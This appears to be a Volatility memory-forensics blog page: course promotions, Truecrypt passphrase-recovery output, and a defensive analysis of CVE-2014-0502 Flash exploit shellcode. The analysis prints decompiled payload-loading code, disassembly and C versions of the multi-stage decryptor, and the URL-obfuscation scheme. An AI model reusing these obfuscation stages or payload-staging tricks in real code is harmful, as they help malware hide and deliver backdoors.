The training is not just about a single memory forensics tool named Volatility. The training goes in-depth in numerous topics including Windows internals, malware reversing, Windows data structures, how those structures are parsed, and bypassing encryption. I was looking for an in-depth course and I found it with Volatility. It walks you through exploring the Windows internals, the structures, how they can be parsed, and then actually doing it in labs. This layout results in knowing not just how to use tools for memory forensics but understanding what they are doing and what they are suppose to be doing. To top it off, the content is put into context as it relates to Digital Forensics and Incident Response (DFIR). All in all, it was a great training and  I highly recommend it to anyone looking to get more memory forensics knowledge and skills.
To see what other people think about the class, see our testimonial page. Upcoming training events include:
Contact us at voltraining [at] or leave a note on the web form for information on how to register.

KnTTools / KnTDD Memory Acquisition 

We've partnered with GMG Systems, Inc. to promote what we believe is the most reliable, robust, and full featured memory acquisition software available. A few important notes accompany this announcement:

  • This offer applies to those who participate in our training course. If you are not an alumni or currently registered for an upcoming class, please contact GMG Systems, Inc. directly.
  • You must supply either an X.509 certificate or PGP key for encrypted delivery of the software. 
  • GMG Systems, Inc. reserves the right to refuse orders. 
Once we get KnTTools into the hands of more investigators, we're confident the number of "HELP, my memory dump is corrupt!" situations will decrease. If you know what we mean, its probably time you start using KnTTools. 

The Volatility Foundation 

We've launched a new website for The Volatility Foundation, an independent 501(c) (3) (pending) non-profit organization that maintains and promotes open source memory forensics with The Volatility Framework.

2014 Volatility Plugin Contest 

The contest has begun! You can find official rules and documentation on the contest's homepage. This is the 2nd annual contest where you get to show off your creativity and design skills, win cash prizes, and contribute to open source memory forensics software (while retaining all rights to your code). Submissions are due no later than September 1, 2014.

Volatility 2.4 Release Coming Up

If you've been looking forward to the next Volatility release, you're not alone! We've been working on the 2.4 code base and we expect it to be available on or before the date our books starts shipping. There are 30-40 (lost count at this point) new plugins just for Linux and Mac, not to mention some really awesome new capabilities for Windows. In fact, just yesterday we added the ability to extract cached Truecrypt passphrases from Linux memory dumps.

$ python --profile=LinuxUbuntux86 
        -f memory.lime 
Volatility Foundation Volatility Framework 2.4 (Beta)
Process          Pid      Address    Password
---------------- -------- ---------- --------
truecrypt            5724 0x09277a24 password123
truecrypt            5724 0x092c4b4c password456

Wednesday, April 9, 2014

Volatility Memory Forensics and Malware Analysis Training in Australia!

We are happy to announce that our popular Memory Forensics and Malware Analysis Training course is going to be held in Canberra, Australia in August. This is our first offering in Australia, and we are already extremely excited to have a great training session full of inquisitive and enthusiastic students.

This is the only memory forensics course officially designed, sponsored, and taught by the Volatility developers. One of the main reasons we made Volatility open-source is to encourage and facilitate a deeper understanding of how memory analysis works, where the evidence originates, and how to interpret the data collected by the framework's extensive set of plugins. Now you can learn about these benefits first hand from the researchers and developers of the most powerful, flexible, and innovative memory forensics tool.

August 25th through 29th
Class runs from 9AM to 5PM

Canberra, AU

Michael Ligh (@iMHLv2), Andrew Case (@attrc), and Jamie Levy (@gleeda)
Information on each instructor can be found here.

Registration Process
To request a link to the online registration site or to receive a detailed course agenda/outline, please send an email voltraining [[ at ]] or contact us through our web form.

Past Reviews
Many past reviews of the course can be found on our website here as well as a previous blog post here. We also have some additional feedback from our course in Europe last week:
"Labs are amazingly close to real incidents" - Security Engineer 
"Full overview of Volatility. Extremely useful. Required for anyone wanting to do memory forensics effectively." - CERT operator
"Years of experience by 3 world class experts on memory analysis" - Senior Security Analyst
"Very inspiring training, which is a must for any individual taking cyber incident analysis and handling serious." - Incident Handling Manager
"The perfect balance between what you need to know about Windows internals, malware and forensics." - Security Officer 
"Before the course it was like being in a dark room, then Volatility guys opened windows. Solid base of theory and thorough explanations of options and approaches. Recommended for everyone"
"I work with reverse engineering malware and this course has helped me to simplify the process" - Malware analyst
"This course is extremely valuable to all forensic investigators and malware researchers" - Forensic Investigator and Incident Handler 
"High tech knowledge on Windows memory analysis that is very relevant to real-life situations" - Head of CSIRT 
"It gives such deep knowledge in this special field, as I have never thought before" - Security Analyst

Tuesday, April 8, 2014

Building a Decoder for the CVE-2014-0502 Shellcode

In late February of this year multiple security companies (FireEyeAlientVaultSecPod, Symantec, plus many more) were reporting on a Flash zero-day vulnerability (CVE-2014-0502) being exploited in the wild.  Around this time a friend asked me if I could reverse the exploit and its associated files in order to write a decoder for it. The purpose of the requested decoder was to statically determine the URL from where the backdoor executable (shown later) would be downloaded.

As explained in the referenced links, the exploit found in the wild works by:
  1. Having a victim's browser load a Flash file (cc.swf) that exploited the vulnerable Flash player 
  2. The exploit (shellcode) then downloads a GIF file (logo.gif) from the web server hosting the SWF file
  3. This GIF file contains encrypted/encoded shellcode embedded within it that eventually downloads a backdoor executable from an encrypted URL within the file. Static decryption of this URL is what my friend was after
Note: For simplicity, in the steps above, I skipped some of the details on how the shellcode utilizes ROP, defeats ASLR, and finds the necessary libraries and functions (LoadLibrary, InternetOpenURL, CreateFile, etc.). If you are interested in these details please see the FireEye writeup linked above. If you are interested in how the exploit achieves arbitrary code execution then you should read the writeup from Spider Labs here. (You should probably just read the Spider Labs writeup anyway as its very well done...)

Unfortunately, many of the previous research writeups were not available at the time of my friend's request. To assist with Flash decompilation, I used SoThink SWF decompiler, which is a tool I cannot recommend enough, and that I have used to successfully analyze numerous Flash files. Since my effort, Zscaler has published a nice writeup on the Flash file and how it constructs its payload, although it misses a key part to writing the decoder -- how to determine where the encrypted shellcode starts within the downloaded GIF file.

Through analysis with SoThink's tool I was able to determine that the last four bytes of the GIF file contained a little endian integer that represented the offset of the encrypted payload from the beginning of where the offset is stored (the end of the file minus 4). The following decompiled function shows this process. The decompilation is from SoThink and the comments are mine:

1  public class cc extends Sprite
2  {
3   [snip]
4   _loc_4 = new URLLoader();
5   _loc_4.dataFormat = "binary";
6   _loc_4.addEventListener("complete", Ƿ); // sets mpsc
7   _loc_4.load(new URLRequest("logo.gif")); // get logo.gif from same server as loaded
8   [snip]
9  }
11 public function Ƿ(event:Event) : void
12 {
13  var _loc_3:* = new ByteArray();
15  /* writes logo.gif  to loc_3 */
16  _loc_3.writeBytes( as ByteArray, 0, ( as ByteArray).length);
18  /* move to last 4 bytes */
19  _loc_3.position = _loc_3.length - 4;
20  _loc_3.endian = "littleEndian";
22  /* last four bytes of logo.gif */
23  var _loc_4:* = _loc_3.readUnsignedInt();
24  var _loc_2:* = new ByteArray();
26  /* length of file - integer from last 4 bytes - 4 */
27  _loc_2.writeBytes(_loc_3, _loc_3.length - 4 - _loc_4, _loc_4);
28  _loc_2.position = 0;
30  /* integer read from offset: length of file - integer from last 4 bytes - 4 */
31  Ǵ.setSharedProperty("mpsc", _loc_2);
32  Ǵ.start();
34  return;
35 }// end function

As can be seen on lines 4-7, which are inside the constructor of the Flash file, the logo.gif file is downloaded. The URLLoader instance used to download the file has its complete listener set to the function shown on lines 11 through 35. This function is triggered once the file is finished downloading. On line 16 the file's contents are read into an array named _loc_3 (the third declared local variable) by the decompiler. On lines 19 and 20 the array's position is moved to four bytes before the end of the file and its disposition is set to little endian. On line 23 the integer at these last four bytes is read and a new byte array, _loc_2 is declared. Line 27 is the key one as _loc_2 is filled with the bytes of _loc_3 (logo.gif) starting at the end of the file minus the integer read minus another four bytes. At this point _loc_2 holds the encrypted shellcode and is stored in the mpsc shared property. This buffer will later be executed by the exploit payload.

Now that I knew how to find the shellcode reliably, I then needed to decrypt the shellcode in order to find the instructions that located and decrypted the embedded backdoor URL. When analyzing the shellcode I was working in a native Linux environment so I used a mix of vim, dd, and ndisasm. To start, I figured out the offset of the encrypted shellcode within my file and then extracted a copy of the shellcode.

The following lists the beginning of the shellcode:

 1 $ ndisasm -b32 stage1 
 2 00000000  D9EE            fldz
 3 00000002  D97424F4        fnstenv [esp-0xc]
 4 00000006  5E              pop esi
 5 00000007  83C61F          add esi,byte +0x1f
 6 0000000A  33C9            xor ecx,ecx
 7 0000000C  66B90009        mov cx,0x900
 8 00000010  8A06            mov al,[esi]
 9 00000012  8A6601          mov ah,[esi+0x1]
10 00000015  8826            mov [esi],ah
11 00000017  884601          mov [esi+0x1],al
12 0000001A  83C602          add esi,byte +0x2
13 0000001D  E2F1            loop 0x10
14 0000001F  EE              out dx,al
15 00000020  D974D9F4        fnstenv [ecx+ebx*8-0xc]
16 00000024  2483            and al,0x83

For those of you who have never used ndisasm before, it is the disassembler that comes with the nasm assembler. The b option defines the architecture (16, 32, or 64 bit Intel), and ndisasm simply treats the file as raw instructions. This makes it very useful when analyzing shellcode. In the output the first column is the offset of the instruction from the beginning of the file, the second column is the instruction's opcodes, and the third column is the instruction's mnemonic.

As you can see in the ndisasm output, the instructions make sense until line 14 (offset 0x1f) where the out instruction is used. out is used to talk directly with hardware devices, and as such is a privileged operation. Since this shellcode runs in userland, out cannot be used and even the operating system's kernel mode components use it sparingly. Examination of the instructions on lines 2 through 13 reveal a decryptor loop that targets the instructions starting at line 14. To begin, lines 2-4 leverage the floating point unit to determine the runtime address of where the fldz (offset 0) instruction is memory. The floating point internals that enable this are explained in an Symantec paper here and the shellcode trick was first disclosed by noir in 2003 here.

Lines 5-7 then setup the loop. First 0x1f is added to the esi register which moves it to the offset where the out instruction is. ecx is then set to zero using xor and the value 0x900 is moved into the cx (the bottom half of ecx) register. This is the loop counter, so we know that the first layer of decryption will operate on 0x900 (2304) bytes. Lines 8 through 12 then implement the deobfuscation of the bytes beginning at offset 14 with an algorithm that translates to:

1  void stage1(unsigned char *buf)
2  {
3    unsigned char *esi;
4    int ecx;
5    unsigned char ah, al;
7    // add esi,byte +0x1f
8    esi = buf + 0x1f;
10   // xor ecx,ecx
11   // mov cx,0x900
12   ecx = 0x900;
14   while(ecx > 0)
15   {
16     // mov al,[esi]
17     al = *esi;
19     // mov ah,[esi+0x1]
20     ah = *(esi + 1);
22     // mov [esi],ah
23     *esi = ah;
25     // mov [esi+0x1],al
26     *(esi + 1) = al;
28     // add esi,byte +0x2
29     esi = esi + 2;
31     // loop 0x10
32     ecx = ecx - 1;
33   }
34 }

As you can see from the converted assembly, the purpose of this loop is to flip each byte with the one preceding it in the obfuscated shellcode. This is done by using the ah and al registers which are 1 byte in size each. After running the decoder above, the instructions starting at our original out instruction (offset 0x1f) now make sense and become the second stage of shellcode decryption:

 1 $ ndisasm -b32 stage2 
 2 00000000  D9EE          fldz
 3 00000002  D97424F4      fnstenv [esp-0xc]
 4 00000006  5E            pop esi
 5 00000007  83C621        add esi,byte +0x21
 6 0000000A  56            push esi
 7 0000000B  5F            pop edi
 8 0000000C  33C9          xor ecx,ecx
 9 0000000E  66B9F008      mov cx,0x8f0
10 00000012  90            nop
11 00000013  66AD          lodsw
12 00000015  662D6161      sub ax,0x6161
13 00000019  C0E004        shl al,0x4
14 0000001C  02C4          add al,ah
15 0000001E  AA            stosb
16 0000001F  E2F2          loop 0x13
17 00000021  6E            outsb
18 00000022  6A6F          push byte +0x6f
19 00000024  6F            outsd

As can be seen, this decryptor stage is another loop that transforms the code that follows it. Lines 2-4 contain code necessary to place esi at the fldz instruction of the second stage decryptor. Line 5 then adds 0x21 to esi in order to point it to the junk outsb instruction at line 17. The loop counter is initialized to 0x8f0 at line 9 and then lines 11 through 15 perform the transformation. This transformation can be expressed in C as:

1 void stage2(unsigned char *buf)
2 {
3   int ecx;
4   unsigned char *esi;
5   unsigned char *edi;
6   unsigned short ax;
7   unsigned char al, ah;
9   // add esi,byte +0x21
10  esi = buf + 0x21;
12  // push esi
13  // pop edi
14  edi = esi;
16  // xor ecx,ecx
17  // mov cx,0x8f0
18  ecx = 0x8f0;
20  while(ecx > 0)
21  {
22    // lodsw
23    ax = *(unsigned short *)esi;
24    esi = esi + 2;
26    // sub ax,0x6161
27    ax = ax - 0x6161;
29    ah = (ax >> 8) & 0xff;
30    al = ax & 0xff;
32    // shl al,0x4
33    al = al << 4;
35    // add al,ah
36    al = al + ah;
38    // stosb
39    *edi = al;
40    edi = edi + 1;
42    ecx = ecx - 1;
43   }
44 }

After the second stage of deobfuscation the outsb (line 17 from the previous ndisasm output) and its following instructions look like:

 1 $ ndisasm -b32 stage3
 2 00000000  D9EE          fldz
 3 00000002  D97424F4      fnstenv [esp-0xc]
 4 00000006  5E            pop esi
 5 00000007  83C61F        add esi,byte +0x1f
 6 0000000A  33C9          xor ecx,ecx
 7 0000000C  66B96804      mov cx,0x468
 8 00000010  8A06          mov al,[esi]
 9 00000012  8A6601        mov ah,[esi+0x1]
10 00000015  8826          mov [esi],ah
11 00000017  884601        mov [esi+0x1],al
12 0000001A  83C602        add esi,byte +0x2
13 0000001D  E2F1          loop 0x10
14 0000001F  EE            out dx,al
15 00000020  D974D9F4      fnstenv [ecx+ebx*8-0xc]
16 00000024  2483          and al,0x83

You may notice that this is the same algorithm used in stage 1 for decryption, just with a different loop counter since the decrypting process is moving further down the file. By running the algorithm starting at line 14 (offset 0x1f) we get the fourth level of decryptor shellcode:

 1 $ ndisasm -b32 stage4 
 2 00000000  D9EE          fldz
 3 00000002  D97424F4      fnstenv [esp-0xc]
 4 00000006  5E            pop esi
 5 00000007  83C616        add esi,byte +0x16
 6 0000000A  33C9          xor ecx,ecx
 7 0000000C  66B9BB08      mov cx,0x8bb
 8 00000010  803631        xor byte [esi],0x31
 9 00000013  46            inc esi
10 00000014  E2FA          loop 0x10

This decryptor loop decrypts the next 0x8bb bytes using the following algorithm:

1 void stage4(unsigned char *buf)
2 {
3   int ecx;
4   unsigned char *esi;
6   // add esi,byte +0x16
7   esi = buf + 0x16;
9   // add esi,byte +0x16
10  // mov cx,0x8bb
11  ecx = 0x8bb;
13  while (ecx > 0)
14  {
15    // xor byte [esi],0x31
16    *esi = *esi ^ 0x31;
18    // inc esi
19    esi = esi + 1;
21    // loop 0x10
22    ecx = ecx - 1;
23  }
24 }

After running this algorithm, we finally get to the fully deobfuscated shellcode and can begin analysis:

 1 $ ndisasm -b32 stage5 
 2 00000000  55               push ebp
 3 00000001  8BEC             mov ebp,esp
 4 00000003  81EC90010000     sub esp,0x190
 5 00000009  53               push ebx
 6 0000000A  56               push esi
 7 0000000B  57               push edi

Remember that the original purpose of my friend's request was a decoder that could decrypt the encrypted URL used to download the backdoor file. The first relevant instruction that I found related to this task is at offset 0x90 in the deobfuscated function:

 1 00000090  E800000000        call dword 0x95
 2 00000095  5B                pop ebx
 3 00000096  83C350            add ebx,byte +0x50
 4 00000099  899D74FEFFFF      mov [ebp-0x18c],ebx
 5 0000009F  8B8574FEFFFF      mov eax,[ebp-0x18c]
 6 000000A5  813831123112      cmp dword [eax],0x12311231
 7 000000AB  740F              jz 0xbc
 8 000000AD  8B8574FEFFFF      mov eax,[ebp-0x18c]
 9 000000B3  40                inc eax
10 000000B4  898574FEFFFF      mov [ebp-0x18c],eax
11 000000BA  EBE3              jmp short 0x9f

On line 1 we see a call instruction being made to the next instruction (pop ebx). This has the effect of placing the runtime address of the pop ebx instruction into ebx. 0x50 is then added to this address and a loop begins that is searching for 0x12311231 (0x31123112 on disk due to little endian) towards the end of the GIF file. This is the special marker used to denote where the encrypted URL begins. Once this marker is found, control is transferred to offset 0xbc (this check and jmp occurs on lines 6-7).

Starting at offset 0xbc, we have the following loop. Note that this disassembly is annoyingly long due to no optimizations being used.

  1 000000BC  8B8574FEFFFF      mov eax,[ebp-0x18c]
  2 000000C2  83C004            add eax,byte +0x4
  3 000000C5  898574FEFFFF      mov [ebp-0x18c],eax
  4 000000CB  8B8574FEFFFF      mov eax,[ebp-0x18c]
  5 000000D1  898580FEFFFF      mov [ebp-0x180],eax
  6 000000D7  83A588FEFFFF00    and dword [ebp-0x178],byte +0x0
  7 000000DE  8B8574FEFFFF      mov eax,[ebp-0x18c]
  8 000000E4  038588FEFFFF      add eax,[ebp-0x178]
  9 000000EA  0FBE00            movsx eax,byte [eax]
 10 000000ED  83F8FF            cmp eax,byte -0x1
 11 000000F0  744F              jz 0x141
 12 000000F2  8B8574FEFFFF      mov eax,[ebp-0x18c]
 13 000000F8  038588FEFFFF      add eax,[ebp-0x178]
 14 000000FE  0FBE00            movsx eax,byte [eax]
 15 00000101  83F012            xor eax,byte +0x12
 16 00000104  8B8D74FEFFFF      mov ecx,[ebp-0x18c]
 17 0000010A  038D88FEFFFF      add ecx,[ebp-0x178]
 18 00000110  8801              mov [ecx],al
 19 00000112  8B8574FEFFFF      mov eax,[ebp-0x18c]
 20 00000118  038588FEFFFF      add eax,[ebp-0x178]
 21 0000011E  0FBE00            movsx eax,byte [eax]
 22 00000121  83E831            sub eax,byte +0x31
 23 00000124  8B8D74FEFFFF      mov ecx,[ebp-0x18c]
 24 0000012A  038D88FEFFFF      add ecx,[ebp-0x178]
 25 00000130  8801              mov [ecx],al
 26 00000132  8B8588FEFFFF      mov eax,[ebp-0x178]
 27 00000138  40                inc eax
 28 00000139  898588FEFFFF      mov [ebp-0x178],eax
 29 0000013F  EB9D              jmp short 0xde

On lines 1-3 the pointer to where the marker was found is incremented by 4 to skip the marker and then placed into [ebp-0x18c]. This value is then also placed into [ebp-0x180] on line 5. The buffer holding the URL is then enumerated until an 0xff marker is found. This is accomplished by the byte comparison of -0x1 on line 10 and the bailout if found on line 11.  Lines 12 through 29 perform the decryption of the URL. The main part of this decryption is on lines 15 and 22 (shown in red) where each byte is transformed by XOR'ing with 0x12 and then subtracting 0x31.

After this analysis, we now finally know how to find and decrypt the URL:
  1. Read in logo.gif
  2. Search the file for 0x31123112 in little endian
  3. Once found, decrypt each byte by XOR it with 0x12 and subtract 0x31
  4. Stop processing when a byte of 0xff is found
After implementing the above steps I was able to give my friend a Python script that could read the decrypted URL from abitrary logo.gif files that he found through his analysis and hunting:

$ python logo.gif
Found \x31\x12\x31\x12 marker at offset 17764
Found 0xff, breaking URL processing loop
Download URL: http://redacted/redacted.exe

In the end, a simple decryptor loop is all that is needed to decrypt the URL, but it took reversing multiple stages of shellcode and runtime code modifications in order to find and understand this algorithm.

I hope that you found reading this blog post informative and interesting. I would like to thank the other members of the Volatility Team (@iMHLv2, @gleeda, @4tphi) for proof reading this before I hit 'Publish' and for @justdionysus providing the historical references related to the use of the FPU for finding EIP. If you have any questions or comments on the post please leave a comment below, ping me on Twitter (@attrc), or shoot me an email (andrew @@@